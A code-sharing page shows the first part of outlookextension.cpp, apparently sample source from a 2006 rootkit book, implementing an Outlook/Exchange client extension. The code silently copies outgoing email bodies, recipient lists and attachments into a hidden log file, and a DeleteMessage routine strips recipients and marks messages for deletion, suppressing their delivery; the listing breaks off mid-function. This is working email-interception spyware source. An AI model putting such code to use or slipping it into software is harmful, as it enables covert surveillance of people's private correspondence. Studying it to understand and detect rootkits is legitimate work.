⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 outlookextension.cpp

📁 很好的rootkit介绍书籍
💻 CPP
📖 第 1 页 / 共 2 页
字号:
// OutlookExtension
// Copyright Ric Vieler, 2006
// Filter Outlook email

#include "stdafx.h"
#include <STDIO.h>
#include <WINDOWS.H> 
#include <COMMCTRL.H>

#define MIDL_PASS

#include <MAPIX.H>
#include <MAPIUTIL.H>
#include <MAPIFORM.H>
#include <INITGUID.h>
#include "EXCHEXT.H"
#include "OutlookExtension.h"

// Microsoft Exchange Client Extension entry point
extern "C" _declspec(dllexport) LPEXCHEXT CALLBACK ExchEntryPoint(void);

// DLL entry point
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved )
{
    return TRUE;
}

// Must provide pointer to CClientExtension for construction
CMessageEvents::CMessageEvents (LPUNKNOWN pParentInterface)
{ 
	m_pExchExt = pParentInterface;
	m_submittingMessage = false;
	m_referenceCount = 0; 
};

void CMessageEvents::LogContent( char* content, int contentType )
{
	// Put content into one big file for this example
	char buffer[ MAX_PATH ];
	size_t contentLength;
	FILE* sourceFile;
	FILE* destinationFile;

	// open the destination file - LN_LOG_FILE
	strcpy( buffer, OL_LOG_FILE );
	if( (destinationFile = fopen( buffer, "a+b" )) != NULL )
	{
		if( contentType == OL_LOG_ATTACHMENT )
		{
			// content is a filename
			if( (sourceFile = fopen( content, "r" )) != NULL )
			{
				// write header
				fwrite( "ATTACHMENT:\n", sizeof(char), 12, destinationFile );
				// write attachment
				do
				{
					contentLength = fread( buffer, sizeof(char), MAX_PATH, sourceFile );
					if( contentLength )
					{
						fwrite( buffer, sizeof(char), contentLength, destinationFile );
					}
				} while( contentLength == MAX_PATH );
				// write footer
				fwrite( "\n", sizeof( char ), 1, destinationFile );
				fclose( sourceFile );
			}
		
		}
		else
		{
			// content is a string
			// write header
			if( contentType == OL_LOG_BODY )
			{
				fwrite( "BODY:\n", sizeof(char), 6, destinationFile );
			}
			else
			{
				fwrite( "DESTINATION(S):\n", sizeof(char), 16, destinationFile );
			}
			// write data
			contentLength = strlen( content );
			fwrite( content, sizeof( char ), contentLength, destinationFile );
			// write footer
			fwrite( "\n\n", sizeof( char ), 2, destinationFile );
		}
		fclose( destinationFile );
	}
}

// Log message body
void CMessageEvents::LogBody( LPMESSAGE pMessage )
{
	char* bodybuf = 0;
	unsigned int bodysize = 0;
	IStream* stream;
	HRESULT hr;

	// Get body of message as a stream
	hr = pMessage->OpenProperty(PR_BODY,
								&IID_IStream,
								STGM_DIRECT | STGM_READ,
								0,
								(IUnknown**)&stream );
	if ( !FAILED(hr) )
	{
		// Get size of stream
		STATSTG status = { 0 };
		hr = stream->Stat( &status, STATFLAG_NONAME );
		if ( !FAILED(hr) )
		{
			// Read the stream into a local buffer
			bodysize = status.cbSize.LowPart;
			bodybuf = new char[ bodysize + 1 ];
			ULONG count;
			hr = stream->Read( bodybuf, bodysize, &count );
			if ( !FAILED(hr) )
			{
				if ( count < bodysize)
					bodysize = count;
				bodybuf[bodysize] = 0;
				stream->Release();
				// Log the content
				LogContent( bodybuf, OL_LOG_BODY );
			}
		}
	}
}

// Log message attachments
void CMessageEvents::LogAttachments( LPMESSAGE pMessage )
{
	HRESULT hr;
	LPMAPITABLE pAttachmentTable;
	LPATTACH pAttachment;

	// Get the attachment table
	hr = pMessage->GetAttachmentTable( MAPI_UNICODE, &pAttachmentTable );
	if ( !FAILED(hr) )
	{					
		SizedSPropTagArray(1,columns) = { 1, PR_ATTACH_NUM };
		SRowSet* pRowSet;
		hr = HrQueryAllRows( pAttachmentTable, 
							(SPropTagArray*)&columns,
							NULL, NULL, 0, &pRowSet);
		if ( !FAILED(hr) )
		{
			for (unsigned int row = 0; row < pRowSet->cRows; row++ )
			{
				if (pRowSet->aRow[row].lpProps[0].ulPropTag == PR_ATTACH_NUM )
				{
					// Open the attachment
					hr = pMessage->OpenAttach(pRowSet->aRow[row].lpProps[0].Value.ul,
											NULL,
											MAPI_BEST_ACCESS,
											&pAttachment );
					if ( !FAILED(hr) )
					{					
						// Get the attachment type
						ULONG count;
						SPropValue* property = 0;
						SizedSPropTagArray(1, tag) = { 1, PR_ATTACH_METHOD };
						pAttachment->GetProps((SPropTagArray*)&tag,
							MAPI_UNICODE,
							&count,
							&property);
						// Process attachment based on attachment type
						if( (property[0].ulPropTag) &&
							(property[0].Value.ul == ATTACH_BY_REF_ONLY ||
							 property[0].Value.ul == ATTACH_BY_REF_RESOLVE ||
							 property[0].Value.ul == ATTACH_BY_REFERENCE ))
						{
							// Attachment is by filename
							ULONG count;
							SPropValue* path = 0;
							SizedSPropTagArray(2, tag) =
								{ 2, { PR_ATTACH_LONG_PATHNAME,PR_ATTACH_PATHNAME } };
							pAttachment->GetProps((SPropTagArray*)&tag,
								MAPI_UNICODE,
								&count,
								&path);
							if( path[0].ulPropTag == PR_ATTACH_LONG_PATHNAME )
							{
								LogContent(	path[0].Value.LPSZ, OL_LOG_ATTACHMENT );
							}
							else if( path[1].ulPropTag == PR_ATTACH_PATHNAME )
							{
								LogContent(	path[1].Value.LPSZ, OL_LOG_ATTACHMENT );
							}
						}
						else if(property[0].ulPropTag &&
								property[0].Value.ul == ATTACH_BY_VALUE)
						{
							// Attachment is in memory
							// Convert it to a temp file
							char tempFile[20];
							strcpy( tempFile, OL_TEMP_LOG_FILE );
							STATSTG StatInfo;
							LPSTREAM pSourceStream = NULL;
							LPSTREAM pDestinationStream = NULL;
							hr = pAttachment->OpenProperty(PR_ATTACH_DATA_BIN,
                                 (LPIID)&IID_IStream,
                                 0,
                                 MAPI_MODIFY,
                                 (LPUNKNOWN*)&pSourceStream);
							if ( !FAILED(hr) )
							{
								hr = OpenStreamOnFile(
									 MAPIAllocateBuffer,
									 MAPIFreeBuffer,
									 STGM_CREATE | STGM_READWRITE | STGM_SHARE_DENY_NONE | STGM_DELETEONRELEASE,
									 tempFile,
									 NULL,
									 &pDestinationStream);
								if ( !FAILED(hr) )
								{
									// Get size of Source Stream
									pSourceStream->Stat(&StatInfo, STATFLAG_NONAME);
									// Write the stream to the temp file
									hr = pSourceStream->CopyTo(pDestinationStream,
										StatInfo.cbSize, NULL, NULL);
									if ( !FAILED(hr) )
									{
										// Commit changes to new stream
										pSourceStream->Commit(0);
										// Log the attachment
										LogContent( tempFile, OL_LOG_ATTACHMENT );
										// Release the streams
										// This should also delete the temp file
										pDestinationStream->Release();
										pSourceStream->Release();
									}
								}
							}
						}
						// Release the attachment
						pAttachment->Release();
					}
				}
			}
			FreeProws( pRowSet );
		}
		pAttachmentTable->Release();
	}
}

// Delete a MAPI message
// Called by CMessageEvents::OnWriteComplete before returning S_OK
void CMessageEvents::DeleteMessage( LPMESSAGE pMessage )
{
	HRESULT hr;

	// Remove the recipients
	LPMAPITABLE pRecipientTable;
	hr = pMessage->GetRecipientTable( MAPI_UNICODE, &pRecipientTable );
	if ( !FAILED(hr) )
	{
		// Need PR_ROWID for ModifyRecipients
		SizedSPropTagArray(1,columns) = { 1, PR_ROWID };
		SRowSet* pRowSet;
		hr = HrQueryAllRows( pRecipientTable, 
							(SPropTagArray*)&columns,
							NULL, NULL, 0, &pRowSet);
		if ( !FAILED(hr) )
		{
			pMessage->ModifyRecipients( MODRECIP_REMOVE, (ADRLIST*)pRowSet );
			FreeProws( pRowSet );
		}
		pRecipientTable->Release();
	}
	// Set PR_DELETE_AFTER_SUBMIT
	ULONG count;
	SPropValue* property = 0;
	SizedSPropTagArray(1, tag) = { 1, PR_DELETE_AFTER_SUBMIT };
	if( pMessage->GetProps((SPropTagArray*)&tag,
								NULL,
								&count,
								&property) == S_OK )
	{
		if( property[0].ulPropTag == PR_DELETE_AFTER_SUBMIT )
		{
			property[0].Value.b = TRUE;
			pMessage->SetProps( 1, property, NULL );
		}
	}
}

///////////////////////////////////////////////////////////////////////////////
//    CMessageEvents::QueryInterface()
//
//    Parameters
//    riid   -- Interface ID.
//    ppvObj -- address of interface object pointer.
//
//    Purpose
//    Return interface object upon request
//    
//    Return Value - none
//
//    Comments
//    Currently the Exchange client does not call QueryInterface from any object
//    except for IExchExt.  This is implemented in case features are added to
//    Exchange to require QueryInterface from any object.  Also, as a "rule of
//    OLE COM" this is the proper implementation of QueryInterface.
//

STDMETHODIMP CMessageEvents::QueryInterface(REFIID riid, LPVOID FAR * ppvObj)          
{   
	*ppvObj = NULL;
	if (riid == IID_IExchExtMessageEvents)
	{
		*ppvObj = (LPVOID)this;
		// Increase usage count of this object
		AddRef();
		return S_OK;
	}
	if (riid == IID_IUnknown)
	{
		*ppvObj = (LPVOID)m_pExchExt;  // return parent interface
		m_pExchExt->AddRef();
		return S_OK;
	}
	return E_NOINTERFACE;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -